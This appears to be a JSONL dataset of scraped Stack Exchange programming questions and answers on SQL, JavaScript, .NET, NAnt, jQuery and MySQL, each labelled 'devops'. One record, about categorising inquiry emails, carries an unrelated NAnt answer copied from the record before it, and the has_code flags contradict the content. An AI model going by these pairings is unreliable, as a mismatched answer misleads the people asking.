{"id": "hf_99292c01c7b1", "question": "<p>I have two tables with the same columns, and I need to copy one table's rows to the other table's rows to create one big table with all the values from both tables.  Right now I am doing this query to return the same thing:</p>\n\n<pre><code>SELECT col1, col2, col3 from Table1\nunion\nSELECT col1, col2, col3 from Table2\n</code></pre>\n\n<p>However, it seems horribly inefficient, and on my system is very slow (returns 1210189 records).</p>\n", "question_body": "", "answer": "May it work to just do:\n```\n```\nSELECT col1, col2, col3 \nINTO Table1\nFROM Table2\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:59.032081"}
{"id": "hf_2707b32af55d", "question": "<p>I doing a function in Javascript like the VisualBasic DateDiff.</p>\n\n<p>You give two dates and the returning time interval (Seconds, Minutes, Days, etc...)</p>\n\n<pre><code>DateDiff(ByVal Interval As Microsoft.VisualBasic.DateInterval, _\n  ByVal Date1 As Date, ByVal Date2 As Date) as Long\n</code></pre>\n\n<p>So what's the best way to calculate the difference of Javascript Dates?</p>\n", "question_body": "", "answer": "If you follow this\ntutorial\n, one way is to use:\n```\n```\nDate.getTime()\n```\n```\nYou will find a full\njavascript function here\n, complete with date validation.\nThat being said, as commented by\nRafi B.\n5 years later, \"\nGet difference between 2 dates in javascript?\n\" is more precise.\n```\n```\nvar _MS_PER_DAY = 1000 * 60 * 60 * 24;\n\n// a and b are javascript Date objects\nfunction dateDiffInDays(a, b) {\n  // Discard the time and time-zone information.\n  var utc1 = Date.UTC(a.getFullYear(), a.getMonth(), a.getDate());\n  var utc2 = Date.UTC(b.getFullYear(), b.getMonth(), b.getDate());\n\n  return Math.floor((utc2 - utc1) / _MS_PER_DAY);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:59.164723"}
{"id": "hf_5898451c375b", "question": "<p>I have found many tutorials about using Windows Server 2003 as a development machine, and very little information about Windows Server 2008 for the same purpose.</p>\n\n<p>For a nicer experience, I have followed the steps from <a href=\"http://www.win2008workstation.com/wordpress/\" rel=\"nofollow noreferrer\">Convert your Windows Server 2008 to a Workstation</a>.</p>\n\n<p>I am searching for the requirements and installation order for IIS 7 with IIS 6 compatibility mode, .NET Framework 3.5 SP1 (does it require the installation of <code>.NET Framework 3.0</code> feature, or can be installed directly), SQL Server 2005 SP2 (with Reporting services and Analysis Services), Visual Studio 2008 SP1.</p>\n", "question_body": "", "answer": ".NET Framework 3.5 Service Pack 1 - installation order\nSystem Update Readiness Tool\n.NET Framework 3.0 (Windows Server 2008 feature)\n.NET Framework 3.5 SP1 (full package)\nAn update for the .NET Framework 3.5 Service Pack 1 is available (KB959209)\n.NET Framework 3.5 Service Pack 1 - links\nBefore you install .NET Framework 3.5 SP1 on Windows Vista or Windows 2008 Server, make sure that Windows Update service is turned on.\nDescription of the System Update Readiness Tool for Windows Vista and for Windows Server 2008\n- Since the .NET Framework 2.0 and 3.0 are OS components on Windows Vista and Windows Server 2008, they rely on the OS component store to be in a good state to be able to install correctly (quoted from\nhere\n)\nUnified .NET Framework Troubleshooting Guide", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:59.201782"}
{"id": "hf_4a53a3784128", "question": "<p>I need to have some information about the Scoping issue in Javascript. I know that it spports lexical(static) scoping, but, does not it support dynamic scoping as well?\nIf you know anything about the scoping in Javascript, would you please share them with me ?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "I think you're confused because Javascript uses static scoping but at function-level, not at block level like usual structured languages.\n```\n```\nvar foo = \"old\";\nif (true) {var foo = \"new\";}\nalert (foo == \"new\")\n```\n```\nSo be careful, blocks don't make scope!\nThat's why you sometimes see loops with functions inside just to enable variables whose scope is inside an iteration:\n```\n```\nfunctions = [];\nfor(var i=0; i<10; i++) {\n   (function(){\n       var local_i = i;\n       functions[local_i] = function() {return local_i;}\n   })();\n}\nfunctions[2]() // returns 2 and not 10\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:59.225926"}
{"id": "hf_9fceb3223c61", "question": "<p>I'm in the middle of building a pretty big site using asp.net (forms if it's of any interest), and I'm wondering if i need a logging framework such as log4net.\nI've used such frameworks before, but i don't see how i could put it to any use in this type of project.\nusually i think logging is needed for customer delivered application, where the log could be sent back and then analyzed for errors.\nwhat do you think?</p>\n", "question_body": "", "answer": "Heck no - logging is\nincredibly\nimportant for web applications. If you log appropriately, it makes troubleshooting\nso\nmuch easier.\nLog4Net is probably a good bet as a framework. You might also want a way of gathering logs together from multiple servers - and even if you don't use more than one server at the moment, it's probably worth suggesting that you will do so at some point.\nOne option for the centralisation is to copy the logs into a database - see\nthis question\nfor more opinions on that front.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:59.253824"}
{"id": "hf_c5d1776221cf", "question": "<p>I need to stop the execution Is there any procedures for using terminate and suspend activity</p>\n", "question_body": "", "answer": "This sample at the microsoft website should help you with the suspend and terminate Activity\nhttp://msdn.microsoft.com/en-us/library/ms742189.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:59.301353"}
{"id": "hf_4fa7d31fbd48", "question": "<p>In standard ASP.net applications ASP.net offered some protection from XSS attacks with validateRequest throwing detect dangerous input errors if some one tried to. This functionality seems to have been taken out of MVC any idea why?</p>\n", "question_body": "", "answer": "This is a hard line to cross. Is your web application just a RESTful web resource like it 'should' be? Or is it trying to do more. Next thing you know you have 100 hidden input fields: __VIEWSTATE, __EVENTTARGET, __EVENTARGUMENT, etc, etc.\nAs you know, you can still prevent XSS attacks in MVC. Just\ngoogle it\nto see several examples. But the reason is basically that MVC is a different, 'cleaner' type of web application.\nEDIT: I don't know if what I've said above is clear. But the idea is that MVC isn't going to try to be more than what it is (like ASP.NET does). They both have their strong points and reasons.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:59.349012"}
{"id": "hf_1ec2e08596fc", "question": "<p>I've a HTML page with several Div's that will show the time difference between now and each given date.</p>\n\n<pre><code>&lt;div class=\"dated\" onEvent=\"calculateHTML(this, 'Sat Jun 09 2007 17:46:21')\"&gt;\n30 Minutes Ago&lt;/div&gt;\n</code></pre>\n\n<p>I want that time difference to be dynamic (calculated to all elements when the page loads and also within a time interval)</p>\n\n<p>So, my idea was to go to all div's of class \"dated\", calculate the time diference for each one and replace the correspondent innerHTML.</p>\n\n<p>Is this the best aproach or should I try a different one?</p>\n\n<p>Edit: \n<br>One of the problems I've encountered was, where do I keep within the div, the date that will be used to generate the text?</p>\n", "question_body": "", "answer": "Using innerHTML works most (all?) of the time and may frequently be faster than generating a bunch of HTML (i.e. not in this case).\nI always prefer using standard methods as shown below, because I know they should never break.  [Note that I don't check the 'class' attribute directly, since an element may have multiple classes.]\n```\n```\nfunction adjustDates() {\n    var i;\n    var elms = document.getElementsByTagName(\"div\");\n    for (i = 0; i < elms.length; i++) {\n        var e = elms[i];\n\n        /* update timestamps with date */\n        if (elementHasClass(e, \"dated\")) {\n            var txt = YOUR_DIFFERENCE_CODE(e);\n            e.replaceChild(document.createTextNode(txt), e.lastChild);\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:59.384908"}
{"id": "hf_0ac8ef7abbb8", "question": "<p>I would like to show some links only to authenticated users in an asp.net mvc web application.</p>\n\n<ul>\n<li>I use the template for an asp.net mvc web application in Visual Studio 2008 that came with the beta release of asp.net mvc.</li>\n<li>I use forms authentication.</li>\n<li>I would like to add something like the following to an existing view:</li>\n</ul>\n\n<pre>\n&lt;a href=\"/Account/ChangePassword\">Change password&lt;/a>\n</pre>\n\n<p>and only show the link to users who are logged in. </p>\n\n<p>What is the simplest way to do that? I would like something as simple as security trimming of the web.sitemap that I have tried with asp.net web forms. (Can that be used with mvc? Or is it only for web forms?)</p>\n", "question_body": "", "answer": "The following should work.  You'll also need to do something similar in the controller action for this in case the user inputs the URL by hand in their browser.  Or, as you say, you could restrict access to the action in the web.config.\n```\n```\n<% if (HttpContext.Current.Request.IsAuthenticated) { %>\n    <a href=\"/Account/ChangePassword\">Change password</a>\n <% } %>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:59.444847"}
{"id": "hf_dc12eec5c4e0", "question": "<p>I need to quickly build a parser for a very simplified version of a html-like markup language in Java. In python, I would use pyparsing library to do this. Is there something similar for Java? Please, don't suggest libraries already out there for html parsing, my application is a school assignment which will demonstrate walking a tree of objects and serializing to text using visitor pattern, so I'm not thinking in real world terms here. Basically all I need here is tags, attributes and text nodes.</p>\n", "question_body": "", "answer": "There are quite a number choices for stringhandling in java. \nMaybe the very basic\n```\njava.util.Scanner\n```\nand\n```\njava.util.StringTokenizer\n```\nClasses are helpfull for you?\nAnother good choice is maybe\n```\nthe org.apache.commons.lang.text\n```\nlibrary.\nhttp://commons.apache.org/lang/apidocs/org/apache/commons/lang/text/package-summary.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:59.525135"}
{"id": "hf_a1ecedfd521f", "question": "<p>How do you plot bar charts in gnuplot with text labels?</p>\n", "question_body": "", "answer": "```\nplot \"data.dat\" using 2: xtic(1) with histogram\n```\nHere data.dat contains data of the form\n```\ntitle 1\ntitle2 3\n\"long title\" 5\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:59.572210"}
{"id": "hf_318f7d48b816", "question": "<p>I've used NUnit for years and I wanted to try XUnit.  So I installed XUnit and ran the executable that allowed you to run XUnit via TD.net.  </p>\n\n<p>I can't seem to run more than one test at a time. With NUnit + TD.net, I could click on the filename in the solution and run all the tests in the file.  I can't seem to do that with XUnit + TD.net. </p>\n\n<p>Is this something I can do?</p>\n", "question_body": "", "answer": "Short Answer: Copy the following into a .reg file on your computer, updating the path to where your Xunit dll resides, and then import it into your registry.\nWindows Registry Editor Version 5.00\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\MutantDesign\\TestDriven.NET\\TestRunners\\xunit] @=\"4\"\n  \"AssemblyPath\"=\"C:\\_Files\\Programs\\Programming\\XUnit\\xunit-1.1.0\\xunit.runner.tdnet.dll\"\n  \"TypeName\"=\"Xunit.Runner.TdNet.TdNetRunner\"\nLong Answer:\nI've run into this problem a couple of times, both on 32 and 64 bit versions of windows. TestDriven.net uses the registry to store a list of test frameworks avaialable. XUnit comes with an installer xunit.installer (run as admin) which is supposed to make the correct registry entries.\nUsually I can get TD.net to work with XUnit for awhile, then I loose support. Today I was trying to get it to work on Windows 7 beta for the first time and couldn't get it to work at all.\nAfter some searching I found the registry key that the information about the test framework should be entered in.\nHKEY_LOCAL_MACHINE\\SOFTWARE\\MutantDesign\\TestDriven.NET\\TestRunners\nNow on 64bit systems, there is also a key under the Wow6432Node, which is where it looks like the Xunit installer was setting the registry key.\nAnyway, I exported the the the xunit registry key from HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\MutantDesign\\TestDriven.NET\\TestRunners\\xunit and, edited it, removing the Wow6432Node and then imported it. After restarting visual studio, everything works. I'll keep the registry file around in case it breaks again.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:59.595119"}
{"id": "hf_f2e1792e017e", "question": "<p>I have an winforms application that was built using MVC.  The controller is subscribing to all of the events from the view (button clicks, etc) and connects multiple views with the model. </p>\n\n<p>The problem is that the controller is now about 3000 lines of (hard to unit test) code.</p>\n\n<p>What is the best practice to avoid getting controllers to do everything and become so big?</p>\n", "question_body": "", "answer": "Depends on the situation, but assuming you are not at a point where a new controller should be created there are several approaches.\nMuch depends on your setup.  One common approach is to have a service layer or service agent which would do work for the controllers that is not specific.  The use of interfaced helpers or even static ones should remove some of the repetition.  300 lines does not sound to bad at all assuming it is broken into testable methods.\nI would be interested too to hear of other opinions other than the oft repeated mantra of creating more controllers.  We use MVP and have experimented with sub controllers but this does rely on careful usage and is probably a bad idea.\nIt is common to have one controller per module in MVP, which would relate to a logical part of your application.  There should be a few clear ones within your domain and a few that are maybe a bit more difficult to distinguish.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:59.619044"}
{"id": "hf_5bdc67d7c924", "question": "<p>I'm giving my first steps on Python.  I saw that we don't have switch case statement,\nso I would you guys implement a text Menu in python?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "You can use if...elif. If you have to choose a number, it would be like this:\n```\n```\nn = chosenOption()\nif(n == 0):\n    doSomething()\nelif(n == 1):\n    doAnyOtherThing()\nelse:\n    doDefaultThing()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:59.642586"}
{"id": "hf_42d8559cf51c", "question": "<p>So far I've read some blog articles about cloud computing and services for hosting applications in the grid. </p>\n\n<p>If I'd wanted to have a web application running in the cloud for as little cost as possible, what would be the best solution?</p>\n\n<p>Let's assume the following configuration:</p>\n\n<ul>\n<li>J2EE web application </li>\n<li>Any free database (MySQL, PostgreSQL)</li>\n<li>Any web container to deploy the web application to</li>\n</ul>\n\n<p>What application stack would you suggest to be the best combination of services to </p>\n\n<ol>\n<li>host </li>\n<li>deploy</li>\n<li>run</li>\n</ol>\n\n<p>web applications? </p>\n\n<p>As an additional requirement, the services chosen shouldn't require a lot about server management like firewall settings etc.</p>\n", "question_body": "", "answer": "I have investigated\nAmazon's ec2\nsolution recently. It is quite good and there are many pre-built boxes that you can use if you find one that suits your need. I think there will still be some server management involved...you cannot get away from that. But the pre built boxes will make it easier.\nThe cost is reasonable as you only pay for what you use.\n[EDIT] The pre-built boxes are called Amazon Machine Images (AMIs).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:59.689395"}
{"id": "hf_1cbdfcc556e0", "question": "<p>I'm trying to scrape a price from a web page using PHP and Regexes. The price will be in the format £123.12 or $123.12 (i.e., pounds or dollars).</p>\n\n<p>I'm loading up the contents using libcurl. The output of which is then going into <code>preg_match_all</code>. So it looks a bit like this:</p>\n\n<pre><code>$contents = curl_exec($curl);\n\npreg_match_all('/(?:\\$|£)[0-9]+(?:\\.[0-9]{2})?/', $contents, $matches);\n</code></pre>\n\n<p>So far so simple. The problem is, PHP isn't matching anything at all - even when there are prices on the page. I've narrowed it down to there being a problem with the '£' character - PHP doesn't seem to like it.</p>\n\n<p>I think this might be a charset issue. But whatever I do, I can't seem to get PHP to match it! Anyone have any ideas?</p>\n\n<p>(Edit: I should note if I try using the <a href=\"http://www.spaweditor.com/scripts/regex/index.php\" rel=\"nofollow noreferrer\">Regex Test Tool</a> using the same regex and page content, it works fine)</p>\n", "question_body": "", "answer": "Have you try to use \\ in front of £\n```\n```\npreg_match_all('/(\\$|\\£)[0-9]+(\\.[0-9]{2})/', $contents, $matches);\n```\n```\nI have try this expression with .Net with \\£ and it works. I just edited it and removed some \":\".\n(source:\nclip2net.com\n)\nRead my comment about the possibility of Curl giving you bad encoding (comment of this post).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:59.725168"}
{"id": "hf_ec81a95b4980", "question": "<p>Is it possible to pump monochrome (graphical data with 1 bit image depth) texture into OpenGL?</p>\n\n<p>I'm currently using this:</p>\n\n<pre><code>glTexImage2D( GL_TEXTURE_2D, 0, 1, game-&gt;width, game-&gt;height, 0, GL_LUMINANCE, GL_UNSIGNED_BYTE, game-&gt;culture[game-&gt;phase] );\n</code></pre>\n\n<p>I'm pumping it with square array of 8 bit unsigned integers in GL_LUMINANCE mode (one 8 bit channel represents brightness of all 3 channels and full alpha), but it is IMO vastly ineffective, because the onlu values in the array are 0x00 and 0xFF.</p>\n\n<p>Can I (and how) use simple one-bit per pixel array of booleans instead somehow? The excessive array size slows down any other operations on the array :(</p>\n", "question_body": "", "answer": "The smallest uncompressed texture-format for luminance images uses 8 bits per pixel.\nHowever, 1 bit per pixel images can be compressed without loss to the S3TC or DXT format. This will still not be 1 bit per pixel but somewhere between 2 and 3 bits.\nIf you really need 1 bit per pixel you can do so with a little trick. Load 8 1 bit per pixel textures as one 8 bit Alpha-only texture (image 1 gets loaded into bit 1, image 2 into bit 2 and so on). Once you've done that you can \"address\" each of the sub-textures using the alpha-test feature and a bit of texture environment programming to turn alpha into a color.\nThis will of only work if you have 8 1 bit per pixel textures and tricky to get right though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:59.759133"}
{"id": "hf_78545d5ce57d", "question": "<p>I am migrating a 1.1 winforms app to 2.0.  what are the main things i should immediately change because of generics.  Here what i have so far:</p>\n\n<ol>\n<li>Replace all hashtables with generic dictionaries</li>\n<li>Replace all arraylists with List&lt;></li>\n<li>Replace all CollectionBase derive classes with : List&lt;></li>\n</ol>\n\n<p>Any others that should be done immediately?</p>\n\n<p>thks,\nak</p>\n", "question_body": "", "answer": "Any others that should be done immediately?\nGenerally, change any mention of\n```\nIEnumerable\n```\nto\n```\nIEnumerable<T>\n```\n, where possible. Migration can be greatly helped by switching the whole namespace, i.e. un-\n```\nimport\n```\ning\n```\nSystem.Collections\n```\nin every file and instead importing\n```\nSystem.Collections.Generic\n```\n.\nAlso, search for mentions of\n```\nobject\n```\nand/or usage of boxing in your code and consider whether this is still appropriate or should be replaced by generics.\nAs\njalf\nreminded me in the comments, another important change is the switch to the generic version of\n```\nIComparable\n```\nwhere applicable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:59.793575"}
{"id": "hf_13b1aea77164", "question": "<p>Hashtables have a syncroot property but generic dictionaries don't.  If I have code that does this:</p>\n\n<pre><code>lock (hashtable.Syncroot)\n{\n....\n}\n</code></pre>\n\n<p>How do I replicate this if I am removing the hashtable and changing to generic dictionaries?</p>\n", "question_body": "", "answer": "```\n```\nvar dictionary = new Dictionary<int, string>();\n\nlock(((ICollection) dictionary).SyncRoot)\n{\n    // ...\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:59.817096"}
{"id": "hf_41c475a99283", "question": "<p>I'm trying to write a VB.Net program that saves 1-2 million 5-field records (plus an indexed ID) to an MSAccess table every day.  The saving process currently takes 13-20 hours, which obviously can't be right.</p>\n\n<p>Its a flat table with minimal indexing, currently only 156MB.  Except for one double field, the fields are small strings, dates, or longs.  The disk itself is a 15,000 SATA which is used only for this file.  The computer and the program are not doing anything else during the save routine.  The save routine is a simple FOR-NEXT loop that issues a short and simple INSERT statement for each record in the dataset.</p>\n\n<p>Anyone got an ideas on what I need to change to get this to work better?</p>\n", "question_body": "", "answer": "(Disclaimer: I know nothing much about Access)\nWhat do any profiling tools say? (task manager will give you some clues - add more columns to the display to see I/Os, VM usage etc)? Is it doing a lot of disk accesses, or is it all CPU? Is it consuming huge amounts of memory?\nThe mention of an index concerns me since potentially that needs updating after every INSERT - can you turn the index off, do the creation, then index the complete file afterwards?\nIs it linear in time? (i.e. if you create a file 10% of the size does it take 10% of the time)?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:59.858640"}
{"id": "hf_2bf31f3e0a1b", "question": "<p>I am using jquery and the getJSON method and I am wondering if there is a way to display a message saying loading before it loads my content. i know with the jquery ajax calls there is the before submit callbacks where you can have something but the getJSON only has like three options.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "there is the custom\n```\n.ajax\n```\n\"before\" and \"success\" events which you can trigger.\nNormally however, you would just do something like\n```\n```\nshowLoadingAnimation(); \n  $.getJSON(  ..... function(){\n      dontShowLoadingAnimation(); \n  });\n```\n```\nor something similar.\nYour question is however somewhat vauge, and its hard to ascertain what it is you want to do that you wouldn't already be able to do simply with javascript.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:59.918225"}
{"id": "hf_4fd1f547c8fb", "question": "<p>I am loading JSON data to my page and using <code>appendTo()</code> but I am trying to fade in my results, any ideas?</p>\n\n<pre><code>$(\"#posts\").fadeIn();\n$(content).appendTo(\"#posts\");\n</code></pre>\n\n<p>I saw that there is a difference between <code>append</code> and <code>appendTo</code>, on the documents.</p>\n\n<p>I tried this as well:</p>\n\n<pre><code>$(\"#posts\").append(content).fadeIn();\n</code></pre>\n\n<p><strong><em>I got it, the above did the trick!</em></strong></p>\n\n<p>But I get <code>\"undefined\"</code> as one of my JSON values.</p>\n", "question_body": "", "answer": "If you hide the content before you append it and chain the fadeIn method to that, you should get the effect that you're looking for.\n```\n```\n// Create the DOM elements\n$(content)\n// Sets the style of the elements to \"display:none\"\n    .hide()\n// Appends the hidden elements to the \"posts\" element\n    .appendTo('#posts')\n// Fades the new content into view\n    .fadeIn();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:59.941952"}
{"id": "hf_1427729d2bd2", "question": "<p>I would like to inject binary data into an object in JavaScript. Is there a way to do this? </p>\n\n<p>i.e.</p>\n\n<pre><code>var binObj = new BinaryObject('101010100101011');\n</code></pre>\n\n<p>Something to that effect. Any help would be great.</p>\n", "question_body": "", "answer": "You can use parseInt:\n```\nvar bin = parseInt('10101010', 2);\n```\nThe second argument (the radix) is the base of the input.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:59.969721"}
{"id": "hf_29aa2806a4a3", "question": "<p>I'd like to create an application that would run on Google's appengine.</p>\n\n<p>However, this application needs to be able to generate PDFs dynamically.</p>\n\n<p>How could I do this?</p>\n", "question_body": "", "answer": "You can use the\n```\nreportlab\n```\nlibrary\nto generate a PDF from Python. You can just include the ReportLab files in with your application's code, or you can include a\nzip archive\nof the ReportLab code, and insert it into your application's\n```\nsys.path\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:59.993087"}
{"id": "hf_2369645bce3c", "question": "<p>I'm trying to get NAnt 0.86b1 running with VS2008 SP1 and x64 XP.</p>\n\n<p>I have a basic build file (below) which gives the error \nSolution format of file 'Solution.sln' is not supported.</p>\n\n<p>\n</p>\n\n<pre><code>&lt;property name=\"nant.settings.currentframework\" value=\"net-3.5\" /&gt;\n\n&lt;target name=\"build\" description=\"Full Rebuild\" depends=\"clean,compile\" /&gt;  \n\n&lt;target name=\"clean\" description=\"Cleans outputs\"&gt;\n    &lt;delete dir=\"bin\" failonerror=\"false\" /&gt;\n    &lt;delete dir=\"obj\" failonerror=\"false\" /&gt;\n&lt;/target&gt;\n\n&lt;target name=\"compile\" description=\"Compiles solution\"&gt;\n    &lt;solution configuration=\"debug\" solutionfile=\"Solution.sln\" /&gt;\n&lt;/target&gt;\n</code></pre>\n\n<p></p>\n\n<p>Has anyone else experienced this problem? I can't find anything useful out there about this.</p>\n", "question_body": "", "answer": "You'll notice that the docs indicate that NAnt's\n```\n<solution\n```\n>\ntask doesn't support solution files newer than VS2003.\nI recommend using\nthe\n```\n<msbuild>\n```\ntask from nantcontrib\nfor all projects newer than VS2003.\nAlso, the .85 version of NAnt only supports framework versions up to 2.0. The purest way to get things working against the 3.5 framework is to use the\n.86-beta1\nversions of NAnt. You'll then be able to use the\n```\n<msbuild>\n```\ntask against the 3.5 solution.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:00.050106"}
{"id": "hf_902e59f4d845", "question": "<p>We are working on an inquiry management system using J2EE. We're looking at a feature, allowing users to send inquiries to particular mail-id and entering into the database. Catch is to automatically allocate it to some categories. </p>\n", "question_body": "", "answer": "You'll notice that the docs indicate that NAnt's\n```\n<solution\n```\n>\ntask doesn't support solution files newer than VS2003.\nI recommend using\nthe\n```\n<msbuild>\n```\ntask from nantcontrib\nfor all projects newer than VS2003.\nAlso, the .85 version of NAnt only supports framework versions up to 2.0. The purest way to get things working against the 3.5 framework is to use the\n.86-beta1\nversions of NAnt. You'll then be able to use the\n```\n<msbuild>\n```\ntask against the 3.5 solution.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:00.074263"}
{"id": "hf_a44790752125", "question": "<p><strong>I am very, very new to MYSQL.I tried to create a table named \"option\".</strong>\n<strong>My SQL Query is :</strong></p>\n\n<p>create table option( </p>\n\n<p>id int not null primary key auto_increment,</p>\n\n<p>choice varchar(30)</p>\n\n<p>)</p>\n\n<p><strong>While executing this query it shows the following error</strong></p>\n\n<p>Error Code : 1064\nYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'option(\nid int not null primary key auto_increment,\nchoice varchar(30)\n)' at line 1\n(0 ms taken)</p>\n\n<p><strong>If I try with the table name as \"choice\" it is working.</strong></p>\n\n<p><strong>can we have the table name as \"option\" in mysql?</strong> </p>\n\n<p>thanks</p>\n", "question_body": "", "answer": "If you want to have a table name Option, you should be able to, just remember that whenever you use the table in a query, you will have to encase it in ` symbols.  Like this.\n```\n```\n`option`\n```\n```\nThe ` key on the top left of your keyboard, with the tilde.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:00.096859"}
